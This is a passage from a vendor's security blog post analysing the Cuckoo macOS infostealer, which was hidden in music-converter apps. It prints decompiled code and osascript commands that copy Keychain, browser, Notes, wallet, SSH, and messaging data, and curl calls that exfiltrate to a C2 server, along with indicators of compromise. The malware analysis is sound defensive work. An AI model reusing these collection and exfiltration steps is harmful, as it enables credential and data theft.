applications. We observed Cuckoo copying files related to Safari, Notes, and Keychain to temporary locations in /var/folder, which is assigned using the getenv(TMPDIR) function call. sh -c osascript<<EOD tell application "Finder" duplicate folder (POSIX file "/Users/test/Library/Keychains" as alias) to folder (POSIX file "/var/folders/ba/v81jjr7d35jcwg0_813491z80000gn/T/Tak6rUS6eNwexzg" as alias) with replacing end tell EOD LINK TO THIS SECTION APP DATA COLLECTION As seen in recent stealers, data from Safari, the keychain, and Notes are captured. 10001626c SafarQuery() 100016270 Keychains() 100016274 Notes() 100016278 createTMPDirAndGrabFiles() 100016294 curlSetup(arg1, &var_c0, &var_e0, data_1000204b8, data_1000204c0, nullptr) SAFARIQUERY() Paths to files of interest—including bookmarks, cookies, and history—are created and passed as arguments to functions to open and read from these files. 100013f34 __builtin_strcpy(dest: &binaryCookies, src: "Cookies.binarycookies") 100013f4c XOR_func(&binaryCookies, 0x16) 100013f5c int64_t cookiesPlist 100013f5c __builtin_strcpy(dest: &cookiesPlist, src: "Cookies.plist") 100013f74 XOR_func(&cookiesPlist, 0xe) 100013f84 int64_t formValues 100013f84 __builtin_strncpy(dest: &formValues, src: "Form Val", n: 8) 100013f90 int32_t var_a8 = 0x441539 100013fa0 XOR_func(&formValues, 0xc) 100013fb0 int64_t HistoryDB 100013fb0 __builtin_strncpy(dest: &HistoryDB, src: "History.", n: 8) 100013fbc HistoryDB:7.d = 0x122867 100013fcc XOR_func(&HistoryDB, 0xb) 100013fdc int128_t BookMarksPlist 100013fdc __builtin_strcpy(dest: &BookMarksPlist, src: "Bookmarks.plist") 100013fec XOR_func(&BookMarksPlist, 0x10) 100013ffc int128_t Library/Cookies 100013ffc __builtin_strcpy(dest: &Library/Cookies, src: "%s/Library/Cookies/%s") 100014010 XOR_func(&Library/Cookies, 0x16) 100014020 int128_t SafariCookies 100014020 __builtin_strcpy(dest: &SafariCookies, src: "%s/Library/Containers/com.apple.Safari/Data/Library/Cookies/%s") 100014040 XOR_func(&SafariCookies, 0x3f) 100014050 int128_t Browsers/Safari 100014050 __builtin_strcpy(dest: &Browsers/Safari, src: "Browsers/Safari") 100014060 XOR_func(&Browsers/Safari, 0x10) 100014070 int64_t _/Library/Safari 100014070 __builtin_strcpy(dest: &_/Library/Safari, src: "Library/Safari") There is a specific function call for Apple applications that executes multiple calls to osascript to duplicate and store these files in a temp directory. This temp directory is also used in the collection of other browser data. KEYCHAINS() For the keychain capture, Cuckoo builds a path to the user’s Keychain directory (~/Library/Keychain) and passes this as the target for capturing files within the directory. 100014414 _snprintf(&_~/Library/Keychains, 0x200, "%s/%s/%s") 100014428 osascriptCreateforApple() 10001442c void* var_4b0 = &var_458 10001442c int64_t* var_4a8_2 = &Keychains 100014440 _snprintf(&_~/Library/Keychains, 0x200, "%s/%s") 100014444 int64_t* var_498 = &Keychains 100014444 void* var_490 = &_~/Library/Keychains 100014464 openDir_readDir(DirectoryOpen: &_~/Library/Keychains, "*", avoid_DS_Store, &var_498, 0x3e7) NOTES() Similar to the previous captures, paths to files of interest associated with the Notes application are created and passed to the function that calls multiple osascript executions that make copies of these files. 100014564 __builtin_strcpy(dest: &NotesDir, src: "%s/Library/Containers/com.apple.Notes/Data/Library/Notes") 100014580 XOR_func(&NotesDir, 0x39) 100014584 int64_t var_520_1 = x0_5 100014594 void var_238 100014594 _snprintf(&var_238, 0x200, &NotesDir) 1000145a8 osascriptCreateforApple() 1000145b8 int128_t NoteStore.sqlite 1000145b8 __builtin_strncpy(dest: &NoteStore.sqlite, src: "%s/Library/Group Containers/group.com.apple.notes/NoteStore.sqli", n: 0x40) 1000145cc int128_t var_4b0 1000145cc var_4b0:0xf.d = 0x27473f 1000145d8 XOR_func(&NoteStore.sqlite, 0x43) 1000145dc int64_t var_520_2 = x0_5 1000145ec _snprintf(&var_238, 0x200, &NoteStore.sqlite) 100014600 osascriptCreateforApple() LINK TO THIS SECTION ADDITIONAL FILE CAPTURE The malware then proceeds to look for various file-type extensions in the Desktop and Document directories. sh -c osascript<<EOD tell application "Finder" set desktopFolder to path to desktop folder set documentsFolder to path to documents folder set srFiles to every file of desktopFolder whose name extension is in {"txt","rtf","doc", "docx","xIs","xIsx","key","Asc","ppk","rdp","Sql", "Ovpn","kdbx","cont", “son”,“jpg","dat","pdf","pem"} set docsFiles to every file of documentsFolder whose name extension is in {"txt","rtf","doc", "docx","xIs","xIsx","Key","asc","ppk","rdp", "sql","ovpn","kdbx","cont”,"son","jpg","dat","pdf", "pem"} end tell EOD It will then unmute the computer by running the same command as before but by setting itself to false. It is possible that it mutes the computer and then unmutes it when it is using screen capture due to the computer making an audible sound when initiating. SCREENCAPTURE() This malware even runs the screencapture command. Arguments passed to the screenshot function include the .jpg file type and the path where the screenshot is stored. 100013e68 e0730091 add x0, sp, #0x1c {_.jpg} 100013e6c e1a30091 add x1, sp, #0x28 {TMPDIR/screenshot.jpg} 100013e70 14f9ff97 bl screencaptureSetup The command is then decoded and passed to popen() function to capture screenshots and save them. 1000122ec a8750470 adr x8, 0x10001b1a3 1000122f0 1f2003d5 nop 1000122f4 0001c03d ldr q0, [x8] {data_10001b1a3, "screencapture -x -t %s "%s""} 1000122f8 a0039b3c stur q0, [x29, #-0x50 {screencaptureCMD}] 1000122fc 00c1c03c ldur q0, [x8, #0xc] {data_10001b1a3[0xc], "e -x -t %s "%s""} 100012300 a0c39b3c stur q0, [x29, #-0x44 {screencaptureCMD+0xc}] 100012304 a04301d1 sub x0, x29, #0x50 {screencaptureCMD} 100012308 81038052 mov w1, #0x1c 10001230c 60170094 bl XOR_func 100012310 f44f00a9 stp x20, x19, [sp] {_.jpg} {pathForScreenshot} 100012314 e0430091 add x0, sp, #0x10 {var_260} 100012318 a24301d1 sub x2, x29, #0x50 {screencaptureCMD} 10001231c 01408052 mov w1, #0x200 100012320 e31a0094 bl _snprintf 100012324 e0430091 add x0, sp, #0x10 {var_260} 100012328 01008052 mov w1, #0 10001232c cb160094 bl popenCMD We believe that the system is muted when a screenshot is captured to prevent the user from knowing it was successful (although the user would be prompted by TCC to allow it). It is unclear whether this screenshot functionality is completely developed, since we did not observe any cross-references to these functions, which would indicate what called them. LINK TO THIS SECTION OPENING THE ACTUAL CONVERTER APPLICATION In order to make it seem that nothing suspicious has occurred, the malware copies the legitimate version of the application that was found in the resource folder to the /Application directory. It then launches the application. cp -r "/private/var/folders/bq/v81jjr7d35jwg0_813491z80000gn/T/ AppTranslocation/2C379A6D-A124-4632-B142-C00A9D88EFC5/d/ DumpMedia Spotify Music Converter. app/ Contents/Resources/DumpMedia Spotify Music Converter.app" "/Applications/DumpMedia Spotify Music Converter. app" sh -c open -a "/private/var/folders/bq/v81jjr7d35jcwg0_813491z80000gn/T/ AppTranslocation/2C379A6D-A124-4632-B142-C00A9D88EFC5/d/DumpMedia Spotify Music Converter.app/Contents/Resources/DumpMedia Spotify Music Converter-app" This is completed by querying for the legitimate app inside the malicious app bundle’s Resource directory, using the CFBundleCopyResourceURL() function. Then the cp and open commands are built and executed. This is done to prevent the user from potentially noticing another file was actually executed. 1000058b8 _strcpy(&stringPathToAppinResource, _CFStringGetCStringPtr(_CFURLCopyFileSystemPath(_CFBundleCopyResourceURL(_CFBundleGetMainBundle(), &cf_DumpMediaSpotifyMusic, 0, 0), 0), 0x8000100)) 1000058c4 int64_t pathLength = _strlen(&stringPathToAppinResource) - 1 1000058d0 if (zx.d(*(&stringPathToAppinResource + pathLength)) == 0x2f) 1000058d4 *(&stringPathToAppinResource + pathLength) = 0 1000058f0 int128_t filename 1000058f0 __builtin_strcpy(dest: &filename, src: "/Applications/DumpMedia Spotify Music Converter.$F;") 100005908 XOR_func(&filename, 0x34) 100005914 int64_t var_1cc0 100005914 void var_1848 100005914 if (fileExists(filename: &filename) == 0) 100005924 __builtin_strcpy(dest: &var_1cc0, src: "cp -r \"%s\" \"%s\"") 100005930 XOR_func(&var_1cc0, 0x10) 100005938 void* var_1ce0_1 = &stringPathToAppinResource 100005938 int128_t* var_1cd8_2 = &filename 100005948 _snprintf(&var_1848, 0x1000, &var_1cc0) 100005954 popenCMD(&var_1848, 0) 100005964 __builtin_strcpy(dest: &var_1cc0, src: "open -a \"%s\"") LINK TO THIS SECTION NETWORK COMMUNICATION AND DATA EXFILTRATION This sample leverages sockets and the curl API for communication back to its C2. Below are the calls to the send() function after the related socket function calls. 1000036c0 _send(socket_return_x19, &var_47c, 4, 0) 1000036d4 _send(socket_return_x19, &length, 4, 0) 1000036e8 _send(socket_return_x19, &UUID_10002036c, zx.q(length), 0) 1000036fc _send(socket_return_x19, &message_1, 4, 0) 100003710 _send(socket_return_x19, &A_chars, 0x10, 0) 100003724 _send(socket_return_x19, &var_458, zx.q(message_1), 0) We observed network communication to the IP address 146.70.80.123, which was used to send the machine UUID that was captured when this malware first executed. It apparently checks the UUID on the C2 server, to see if the malware has already been run on the host. We observed the malware going no further than the quarantine flag removal when we tried to run the malware after the first run. If we had disconnected from the internet before additional runs, it would have progressed as if it were the first time. LINK TO THIS SECTION CURL USAGE The malware leverages curl api’s to use curl and post information to its C2. Below is an example of one such setup and additional setop() function calls. The target URL is decoded and passed as an argument to the curl_easy_setopt() function along with the flag 0x2712 for setup. 10000445c 000540ad ldp q0, q1, [x8] {data_10001afd7, "http://146.70.80.123/static.php"} {data_10001afe7, ".123/static.php"} 100004460 e08701ad stp q0, q1, [sp, #0x30] {var_b0} {var_a0} 100004464 e0c30091 add x0, sp, #0x30 {var_b0} 100004468 01048052 mov w1, #0x20 10000446c 084f0094 bl XOR_func * curl_easy_setop() functions: 1000121c0 _curl_easy_setopt(curlHandle, 0xd) 1000121c4 int64_t var_a0_2 = arg1 1000121d0 _curl_easy_setopt(curlHandle, 0x2712) 1000121dc int64_t (* var_a0_3)(int64_t arg1, int64_t arg2, int64_t arg3, int64_t* arg4) = sub_1000182bc 1000121e8 _curl_easy_setopt(curlHandle, 0x4e2b) 1000121f0 int64_t* var_a0_4 = &var_98 1000121fc _curl_easy_setopt(curlHandle, 0x2711) 100012200 void* var_a0_5 = x0_4 + 0x21 10001220c _curl_easy_setopt(curlHandle, 0x75a8) 100012210 int128_t* var_a0_6 = x0_6 10001221c _curl_easy_setopt(curlHandle, 0x271f) 100012220 int64_t var_a0_7 = x0_9 10001222c _curl_easy_setopt(curlHandle, 0x2727) LINK TO THIS SECTION CONCLUSION As of this writing, the malicious files we examined are still undetected in VirusTotal. Initially, when we first started looking into the malware, we thought it was only found in the DumpMedia Spotify Music application. However, on further investigation, we found it to be more widespread. Not only were other applications hosted on the DumpMedia site found to be malicious, but also those on additional websites hosting similar tools. So far, we have found that the websites tunesolo[.]com, fonedog[.]com, tunesfun[.]com, tunefab[.]com are hosting malicious applications containing the same malware analyzed above. Each website appears very similar. They offer free and paid versions of applications dedicated to ripping music from streaming services and to iOS and Android recovery. Each malicious application contains another application bundle within the resource directory. All of those bundles (except those hosted on fonedog[.]com) are signed and have a valid Developer ID of Yian Technology Shenzhen Co., Ltd (VRBJ4VRP). The website fonedog[.]com hosted an Android recovery tool among other things; the additional application bundle in this one has a developer ID of FoneDog Technology Limited (CUAU2GTG98). We assume that other websites and applications out there are hosting this malware but are not yet discovered. We wanted to share this information swiftly, prioritizing the need to convey security knowledge and ensuring the entire Apple community is well-informed. Moving forward, we are committed to delivering updates as they develop. LINK TO THIS SECTION INDICATORS OF COMPROMISE DMGS * Spotify-music-converter.dmg: 254663d6f4968b220795e0742284f9a846f995ba66590d97562e8f19049ffd4b MACH-OS * DumpMediaSpotifyMusicConverter: 1827db474aa94870aafdd63bdc25d61799c2f405ef94e88432e8e212dfa51ac7 * TuneSoloAppleMusicConverter: d8c3c7eedd41b35a9a30a99727b9e0b47e652b8f601b58e2c20e2a7d30ce14a8 * TuneFunAppleMusicConverter: 39f1224d7d71100f86651012c87c181a545b0a1606edc49131730f8c5b56bdb7 * FoneDogToolkitForAndroid: a709dacc4d741926a7f04cad40a22adfc12dd7406f016dd668dd98725686a2dc DOMAINS/IPS * http://146[.]70[.]80[.]123/static[.]php * http://146[.]70[.]80[.]123/index[.]php * http://tunesolo[.]com * http://fonedog[.]com * http://tunesfun[.]com * http://dumpmedia[.]com * http://tunefab[.]com LINK TO THIS SECTION ADDENDUM: DIVING DEEPER The infostealing outlined above is just the beginning; Cuckoo looks for more information, including: BROWSERSETUP() This function decodes the XOR-encoded strings for popular browsers to query for on the system and builds paths to each, including: * Opera GX * Microsoft Edge * Google Chrome * Mozilla Firefox * Mozilla Thunderbird Once it builds the paths to these directories, it passes each into a function we renamed openDir_readDir, which uses C functions to open and read the directories. 100012a64 int64_t x8 = *___stack_chk_guard 100012a70 if (arg5 s>= 1) 100012a80 int64_t DirectoryOpen_2 = DirectoryOpen 100012a84 DirectoryOpen = _opendir() 100012a88 if (DirectoryOpen != 0) 100012a90 void* nextDirectory = _readdir() 100012a94 if (nextDirectory != 0) 100012a98 void* x28_1 = nextDirectory 100012b44 void* i 100012b44 do Because Firefox is not Chromium-based, there is a different function to handle the collection of that browser data if Firefox is on the system. 100013288 __builtin_strncpy(dest: &var_88, src: "logins.j", n: 8) 100013294 int32_t var_80 = 0x591f3f 1000132a4 XOR_func(&var_88, 0xc) 1000132b4 int64_t var_98 1000132b4 __builtin_strcpy(dest: &var_98, src: "cookies.sqlite") 1000132cc XOR_func(&var_98, 0xf) 1000132dc int128_t var_b0 1000132dc __builtin_strncpy(dest: &var_b0, src: "formhistory.sqli", n: 0x10) 1000132e8 var_b0:0xf.d = 0x20424 1000132f8 XOR_func(&var_b0, 0x13) 100013308 int64_t var_c0 100013308 __builtin_strcpy(dest: &var_c0, src: "places.sqlite") 100013320 XOR_func(&var_c0, 0xe) 100013330 int128_t var_e0 100013330 __builtin_strncpy(dest: &var_e0, src: "Browsers/%s_%s/%", n: 0x10) 100013338 int16_t var_d0 = 3 As seen throughout this sample, each target file is passed to the XOR function to be decoded and then used for the collection. Interestingly, the malware authors also created a way to avoid collecting files that match .DS_Store from the directories. 1000128a8 int64_t _.DS_Store 1000128a8 __builtin_strcpy(dest: &_.DS_Store, src: ".DS_Stor)") 1000128bc XOR_func(&_.DS_Store, 0xa) 1000128cc if (_strcmp(arg2 + 0x15, &_.DS_Store) != 0) CHROMIUM SEARCHES Once it has finished with Firefox, Cuckoo moves on to browsers that are based on Chromium, in a function we named ChromiumQueriesAndWallets(). It uses paths to files that are known to contain important information from Chromium-based browsers. 100012c18 __builtin_strncpy(dest: &var_88, src: "Login Data", n: 8) 100012c24 var_88:7.d = 0x113828 100012c34 XOR_func(&var_88, 0xb) 100012c40 // [Default] b'Web Data' 100012c44 int64_t var_98 100012c44 __builtin_strncpy(dest: &var_98, src: "Web Data", n: 9) 100012c58 XOR_func(&var_98, 9) 100012c68 int64_t var_940 = 0x43223716077e 100012c78 XOR_func(&var_940, 8) 100012c88 int64_t var_a8 100012c88 __builtin_strncpy(dest: &var_a8, src: "Extensions", n: 8) 100012c94 var_a8:7.d = 0x32226 100012ca0 XOR_func(&var_a8, 0xb) 100012cb0 int64_t var_b8 100012cb0 __builtin_strcpy(dest: &var_b8, src: "Local Storage") 100012cc8 XOR_func(&var_b8, 0xe) 100012cd8 int128_t var_e0 100012cd8 __builtin_strcpy(dest: &var_e0, src: "Local Extension Settings") 100012cec XOR_func(&var_e0, 0x19) 100012cfc int128_t var_100 100012cfc __builtin_strcpy(dest: &var_100, src: "Sync Extension Settings") 100012d10 XOR_func(&var_100, 0x18) 100012d20 int64_t var_110 100012d20 __builtin_strncpy(dest: &var_110, src: "IndexedDB", n: 8) 100012d24 int16_t var_108 = 0xe 100012d30 XOR_func(&var_110, 0xa) Specific extensions for known wallets are also targeted: 100012df8 while (i_1 != 32) 100012e0c int128_t var_780 100012e0c __builtin_strncpy(dest: &var_780, src: "hnfanknocfeofbddgcijnmhnfnkdnaad", n: 0x21) 100012e1c XOR_func(&var_780, 0x21) 100012e2c int128_t var_7b0 100012e2c __builtin_strncpy(dest: &var_7b0, src: "aiifbnbfobpmeekipheeijimdpnlpgpp", n: 0x21) 100012e40 XOR_func(&var_7b0, 0x21) 100012e50 int128_t var_7e0 100012e50 __builtin_strncpy(dest: &var_7e0, src: "hmeobnfnfcmdkdcmlblgagmfpfboieaf", n: 0x21) 100012e64 XOR_func(&var_7e0, 0x21) 100012e74 int128_t var_810 100012e74 __builtin_strncpy(dest: &var_810, src: "bifidjkcdpgfnlbcjpdkdcnbiooooblg", n: 0x21) 100012e88 XOR_func(&var_810, 0x21) All targets created are checked using the stat() function to see if they exist using a function we renamed fileExists(): 100018aec BOOL fileExists(int64_t filename) 100018b04 void buffer 100018b04 char x8 100018b04 if (_stat(filename, &buffer) == 0) 100018b04 x8 = 1 100018b04 else 100018b04 x8 = 0 FILEZILLA() Paths to files that are known for storing FileZilla information are used to create targets for collection. 100013ad4 __builtin_strncpy(dest: &var_50, src: "recentservers.xm", n: 0x10) 100013adc int16_t var_40 = 0x1c 100013aec XOR_func(&var_50, 0x12) 100013afc int128_t var_60 100013afc __builtin_strcpy(dest: &var_60, src: "sitemanager.xml") 100013b0c XOR_func(&var_60, 0x10) 100013b10 char var_524 = 0 100013b1c int32_t $HOME = '~!(\x06' 100013b28 XOR_func(&$HOME, 5) 100013b38 int128_t var_80 100013b38 __builtin_strcpy(dest: &var_80, src: "%s/.config/filezilla/%s") 100013b4c XOR_func(&var_80, 0x18) 100013b5c int128_t var_a0 100013b5c __builtin_strncpy(dest: &var_a0, src: "FTP/FileZilla/%s", n: 0x11) 100013b6c XOR_func(&var_a0, 0x11) 100013b74 int64_t x0_6 = _getenv(&$HOME) STEAM() Same thing for files known for storing information for Steam, Discord, and Telegram: 100013c74 __builtin_strcpy(dest: &var_78, src: "loginusers.vdf") 100013c88 XOR_func(&var_78, 0xf) 100013c94 // [Default] b'config.vdf' 100013c98 int64_t var_88 100013c98 __builtin_strncpy(dest: &var_88, src: "config.v", n: 8) 100013ca4 var_88:7.d = 0x16283f 100013cb4 XOR_func(&var_88, 0xb) 100013cc4 int64_t var_98 100013cc4 __builtin_strcpy(dest: &var_98, src: "Steam/config") 100013cdc XOR_func(&var_98, 0xd) 100013cec int128_t var_c0 100013cec __builtin_strcpy(dest: &var_c0, src: "Library/Application Support") 100013d00 XOR_func(&var_c0, 0x1c) 1000146c0 XOR_func(&HOME, 5) 1000146d0 int128_t DiscordLocalStoragePath 1000146d0 __builtin_strcpy(dest: &DiscordLocalStoragePath, src: "%s/Library/Application Support/discord/Local Storage") 1000146ec XOR_func(&DiscordLocalStoragePath, 0x35) 1000146f8 int64_t var_2c0 = _getenv(&HOME) 10001470c void DirectoryOpen 10001470c _snprintf(&DirectoryOpen, 0x200, &DiscordLocalStoragePath) 10001471c int128_t DiscordLocalStorage 10001471c __builtin_strcpy(dest: &DiscordLocalStorage, src: "Discord/Local Storage") 100014734 XOR_func(&DiscordLocalStorage, 0x16) 100014738 int128_t* var_2b0 = &DiscordLocalStorage 100014738 void* var_2a8 = &DirectoryOpen 100014758 int64_t x0_7 = openDir_readDir(DirectoryOpen: &DirectoryOpen, "*", avoid_DS_Store, &var_2b0, 0x3e7) 10001492c XOR_func(&HOME, 5) 10001493c int64_t Telegram 10001493c __builtin_strncpy(dest: &Telegram, src: "Telegram", n: 9) 100014950 XOR_func(&Telegram, 9) 100014960 int128_t Telegram_tdata 100014960 __builtin_strcpy(dest: &Telegram_tdata, src: "%s/Library/Application Support/Telegram Desktop/tdata") 10001497c XOR_func(&Telegram_tdata, 0x36) 100014988 int64_t var_4b0 = _getenv(&HOME) 10001499c void DirectoryOpen 10001499c _snprintf(&DirectoryOpen, 0x400, &Telegram_tdata) 1000149a0 int64_t* var_4a0 = &Telegram 1000149a0 void* var_498 = &DirectoryOpen 1000149c0 int64_t x0_7 = openDir_readDir(DirectoryOpen: &DirectoryOpen, "*", TelegramSessions, &var_4a0, 0x3e7) WALLETS_AND_COINS() Several known wallets are queried and listed below. Each of these paths is then passed to the same read and open functions discussed above. * Wallets/Ethereum * Wallets/Electrum-LTC * Wallets/ElectronCash * Wallets/Monero * Wallets/Jaxx * Wallets/Guarda * Wallets/atomic * Wallets/BitPay * Wallets/MyMonero * Wallets/Coinomi * Wallets/Daedalus * Wallets/Wasabi * Wallets/Blockstream * Exodus * Ledger Live * Wallets/trezor ZSH HISTORY AND SSH We also observed zsh history information and queries to the .ssh folder for collection. 100014a7c __builtin_strcpy(dest: &_%s/.zsh_history, src: "%s/.zsh_history") 100014a88 XOR_func(&_%s/.zsh_history, 0x10) 100014a98 int128_t zsh_history.txt 100014a98 __builtin_strcpy(dest: &zsh_history.txt, src: "zsh_history.txt") 100014aa4 XOR_func(&zsh_history.txt, 0x10) 100014aac int64_t x0_6 = _getenv(&HOME) 100014ab4 int64_t var_4a0 = x0_6 100014ac8 void DirectoryOpen 100014ac8 _snprintf(&DirectoryOpen, 0x400, &_%s/.ssh) 100014acc int32_t* var_490 = &SSH 100014acc void* var_488 = &DirectoryOpen 100014aec openDir_readDir(DirectoryOpen: &DirectoryOpen, "*", avoid_DS_Store, &var_490, 0x3e7) LINK TO THIS SECTION ABOUT KANDJI Kandji is the Apple device management and security platform that empowers secure and productive global work. With Kandji, Apple devices transform themselves into enterprise-ready endpoints, with all the right apps, settings, and security systems in place. Through advanced automation and thoughtful experiences, we’re bringing much-needed harmony to the way IT, InfoSec, and Apple device users work today and tomorrow. See Kandji in Action Experience Apple device management and security that actually gives you back your time. Get Started Contact Us See Kandji in Action Experience Apple device management and security that actually gives you back your time. Start Free Trial Contact Us Share Post LinkedIn Facebook Twitter Reddit Print Previous Post Next Post Search More Security CloudChat Infostealer: How It Works, What It Does CLOUDCHAT INFOSTEALER: HOW IT WORKS, WHAT IT DOES How Apple Mitigates Vulnerabilities in Installer Scripts HOW APPLE MITIGATES VULNERABILITIES IN INSTALLER SCRIPTS How AMOS macOS Stealer Avoids Detection HOW AMOS MACOS STEALER AVOIDS DETECTION Related Topics CloudChat Infostealer: How It Works, What It Does CLOUDCHAT INFOSTEALER: HOW IT WORKS, WHAT IT DOES How AMOS macOS Stealer Avoids Detection HOW AMOS MACOS STEALER AVOIDS DETECTION How to Add Devices to Apple Business Manager Using Apple Configurator HOW TO ADD DEVICES TO APPLE BUSINESS MANAGER USING APPLE CONFIGURATOR Get the latest blog updates in your inbox SUBSCRIBE Email* utm_campaign utm_content utm_medium utm_source utm_term Kandji Blog Email Subscription PRODUCT * Device Harmony * Device Management * Endpoint Detection & Response * Updates USE CASES * Deploy * Secure * Configure * Manage * Integrate * macOS MDM Solutions * iOS MDM Solutions FEATURES * Liftoff * Passport * Auto Apps * Managed OS * Migration * Compliance * Prism * Integrations RESOURCES * Resources Hub * Blog * Customer Stories * Support * MacAdmins Slack * Apple MDM Definitions COMPANY * About Kandji * The Kandji Difference * Careers * News & Press * Contact * Partners Link to Kandji's Twitter Link to Kandji's Facebook Link to Kandji's LinkedIn Logo for AICPA SOC for Service Organizations * Device Harmony * Device Management * Endpoint Detection & Response * Get Started * Pricing * Support * About * Careers * Blog Link to Kandji's Twitter Link to Kandji's Facebook Link to Kandji's LinkedIn Logo for AICPA SOC for Service Organizations Kandji logo © Copyright 2024 Kandji, Inc. All Rights Reserved. Kandji, the bee logo and Device Harmony are trademarks of Kandji, Inc. * Privacy Policy * Your Privacy Choices * Accessibility * Legal This website uses cookies and other tracking technologies to enhance user experience and to analyze performance and traffic on our website. We also share information about your use of our site with our social media, advertising and analytics partners. If we have detected an opt-out preference signal then it will be honored. Further information is available in our Accept All Cookies Reject Optional Cookies Manage Privacy Preferences PRIVACY PREFERENCE CENTER When you visit any website, it may store or retrieve information on your browser, mostly in the form of cookies. This information might be about you, your preferences or your device and is mostly used to make the site work as you expect it to. The information does not usually directly identify you, but it can give you a more personalized web experience. Because we respect your right to privacy, you can choose not to allow some types of cookies. Click on the different category headings to find out more and change our default settings. However, blocking some types of cookies may impact your experience of the site and the services we are able to offer. Privacy Policy . Allow All MANAGE CONSENT PREFERENCES STRICTLY NECESSARY COOKIES Always Active These cookies are necessary for the website to function and cannot be switched off in our systems. They are usually only set in response to actions made by you which amount to a request for services, such as setting your privacy preferences, logging in or filling in forms. You can set your browser to block or alert you about these cookies, but some parts of the site will not then work. These cookies do not store any personally identifiable information. FUNCTIONAL COOKIES Always Active These cookies enable the website to provide enhanced functionality and personalisation. They may be set by us or by third party providers whose services we have added to our pages. If you do not allow these cookies then some or all of these services may not function properly. PERFORMANCE COOKIES Performance Cookies These cookies allow us to count visits and traffic sources so we can measure and improve the performance of our site. They help us to know which pages are the most and least popular and see how visitors move around the site. All information these cookies collect is aggregated and therefore anonymous. If you do not allow these cookies we will not know when you have visited our site, and will not be able to monitor its performance. TARGETING COOKIES Targeting Cookies These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites. They do not store directly personal information, but are based on uniquely identifying your browser and internet device. If you do not allow these cookies, you will experience less targeted advertising. Back Button COOKIE LIST Search Icon Filter Icon Clear checkbox label label Apply Cancel Consent Leg.Interest checkbox label label checkbox label label checkbox label label Reject All Confirm My Choices